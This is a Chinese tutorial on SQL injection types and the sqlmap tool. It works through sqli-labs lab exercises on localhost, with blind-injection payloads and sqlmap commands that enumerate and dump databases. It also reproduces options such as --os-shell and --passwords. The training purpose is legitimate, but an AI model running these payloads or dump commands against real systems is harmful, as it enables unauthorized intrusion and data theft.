5.sqlmap 的基本使用

简介: sqlmap是一款开源免费的漏洞检查、利用工具. 可以检测页面中get,post参数,cookie,http头等. 基本上可以说 安全从业人员必备的一款神器之软件.也是迈入安全圈的必要条件.

sqlmap 支持5种漏洞检测类型:

基于布尔的盲注检测 (如果一个url的地址为xxxx.php?id=1,那么我们可以尝试下的加上 and 1=1(和没加and1=1结果保持一致) 和 and 1=2(和不加and1=2结果不一致),则我们基本可以确定是存在布尔注入的. )
基于时间的盲注检测(和基于布尔的检测有些类似.通过mysql的 sleep(int)) 来观察浏览器的响应是否等待了你设定的那个值 如果等待了,则表示执行了sleep,则基本确定是存在sql注入的
基于错误的检测 (组合查询语句,看是否报错(在服务器没有抑制报错信息的前提下),如果报错 则证明我们组合的查询语句特定的字符被应用了,如果不报错,则我们输入的特殊字符很可能被服务器给过滤掉(也可能是抑制了错误输出.))
基于union联合查询的检测(适用于如果某个web项目对查询结果只展示一条而我们需要多条的时候 则使用union联合查询搭配concat还进行获取更多的信息)
基于堆叠查询的检测(首先看服务器支不支持多语句查询,一般服务器sql语句都是写死的,某些特定的地方用占位符来接受用户输入的变量,这样即使我们加and 也只能执行select(也不一定select,主要看应用场景,总之就是服务端写了什么,你就能执行什么)查询语句,如果能插入分号;则我们后面可以自己组合update,insert,delete等语句来进行进一步操作)

less-15
基于post盲注
使用burpsuit抓包

测试闭合 ' 回显正确 说明可以闭合 存在注入点

'or 1=1 —+ —— 》 flag.jpg
'or length(database()=7)—+ —— 》 fail.jpg
'or length(database()=8)—+ —— 》 flag.jpg 说明数据库长度为8

继续接下来的测试

......

漏洞挖掘

漏洞挖掘

sqlmap的使用
下载网址:
sqlmap: automatic SQL injection and database takeover tool

image.png

image.png

image.png

Usage: sqlmap.py [options]
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be provided to define the
target(s)
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-g GOOGLEDORK Process Google dork results as target URLs
Request:
These options can be used to specify how to connect to the target URL
--data=DATA Data string to be sent through POST (e.g. "id=1")
--cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
--random-agent Use randomly selected HTTP User-Agent header value
--proxy=PROXY Use a proxy to connect to the target URL
--tor Use Tor anonymity network
--check-tor Check to see if Tor is used properly
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts
-p TESTPARAMETER Testable parameter(s)
--dbms=DBMS Force back-end DBMS to provided value
Detection:
These options can be used to customize the detection phase
--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (1-3, default 1)
Techniques:
These options can be used to tweak testing of specific SQL injection
techniques
--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables
-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--passwords Enumerate DBMS users password hashes
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to enumerate
Operating system access:
These options can be used to access the back-end database management
system underlying operating system
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC
General:
These options can be used to set some general working parameters
--batch Never ask for user input, use the default behavior
--flush-session Flush session files for current target
Miscellaneous:
These options do not fit into any other category
--wizard Simple wizard interface for beginner users
[!] to see full list of options run with '-hh'

python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1&page=10 -p page
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1&page=10 -p page –batch

-u 指定url
-p 指定注入点
-batch 自动默认y (注入时间比较久)

测试单目标(get)
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --dbs
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -tables
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T users –columns
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T users -C id, --dump

  • -dbs:获取数据库名
  • -tables:获取数据库表名
  • -columns:获取字段名
  • -dump:获取数据(拖库(无授权情况下禁止使用))

测试多目标(get型)
python sqlmap.py -m test.txt

-m : 指定目标文件

测试单目标(POST型)
利用burpsuit抓数据包,生成test.txt
python sqlmap.py -r test.py —batch
指定数据包

相关文章
|
7月前
|
人工智能 自然语言处理 安全
大模型备案材料—《安全评估报告》撰写指南
本文详解大模型备案中的关键材料——《安全评估报告》的撰写要点,涵盖报告框架、必备内容、注意事项及基础信息,助你高效通过备案。
|
11月前
|
人工智能 IDE API
白板秒变IDE,草图直接生成可运行代码!Pad.ws:白板+代码编辑器深度结合,创意到实现无缝衔接
Pad.ws是一款创新的在线开发环境,将交互式白板与完整IDE工具深度结合,支持多人实时协作和多种编程语言,无需安装即可通过浏览器访问。
615 1
白板秒变IDE,草图直接生成可运行代码!Pad.ws:白板+代码编辑器深度结合,创意到实现无缝衔接
|
12月前
|
安全 网络安全 虚拟化
Hyper-V网络连接无响应解决方案
当Hyper-V虚拟机出现网络连接无响应时,可从以下方面排查:1) 检查物理网络连接,确保设备正常;2) 验证虚拟网络配置,包括虚拟交换机和网络适配器设置;3) 更新驱动程序以解决兼容性问题;4) 调整防火墙和安全软件设置;5) 重启相关服务和设备;6) 使用命令行工具诊断网络问题;7) 检查BIOS中虚拟化技术是否启用;8) 排查IP冲突和其他日志错误。综合以上步骤,可有效修复网络连接故障。
|
PyTorch TensorFlow API
大模型中 .safetensors 文件、.ckpt文件、.gguf和.pth以及.bin文件区别、加载和保存以及转换方式
本文讨论了大模型中不同文件格式如`.safetensors`、`.ckpt`、`.gguf`、`.pth`和`.bin`的区别、用途以及如何在TensorFlow、PyTorch和ONNX等框架之间进行加载、保存和转换。
5529 2
|
安全 容器 iOS开发
|
数据采集 数据可视化 数据挖掘
利用Python进行数据分析:Pandas库实战指南
利用Python进行数据分析:Pandas库实战指南
|
jenkins 测试技术 持续交付
利用 Jenkins 实现持续集成与持续部署(一)
【8月更文挑战第30天】Jenkins在软件开发中至关重要,其持续集成与部署功能极大提升了开发效率、保障了软件质量、增强了团队协作并加速了产品上市。实现这些功能前需搭建基础环境:配置合适的JDK版本、设置Git版本控制并准备好目标服务器。在Jenkins中创建新任务,详细配置源码管理、构建触发器(如定时构建或监听代码变更)、构建及部署步骤(如使用Maven编译打包、通过SSH插件或Docker部署)。这些关键配置确保了自动化流程的顺畅运行。
325 1
|
存储 Python
使用django构建一个多级评论功能
使用django构建一个多级评论功能
239 0
技术经验分享:htmla标签href属性【跳转和锚点】
技术经验分享:htmla标签href属性【跳转和锚点】
524 0
企业微信api接口调用-企业微信好友收发消息
企业微信api接口调用-企业微信好友收发消息